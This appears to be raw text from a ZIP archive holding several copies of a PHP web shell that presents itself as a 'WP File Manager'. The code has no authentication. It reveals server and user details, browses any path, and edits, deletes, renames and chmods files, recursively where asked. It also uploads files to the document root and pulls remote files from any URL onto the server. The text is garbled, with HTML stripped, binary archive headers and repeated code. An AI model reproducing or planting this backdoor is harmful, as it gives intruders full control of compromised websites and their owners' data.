'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ë lulzim.maliqi@pelasgus.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ë lulzim.maliqi@pelasgus.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
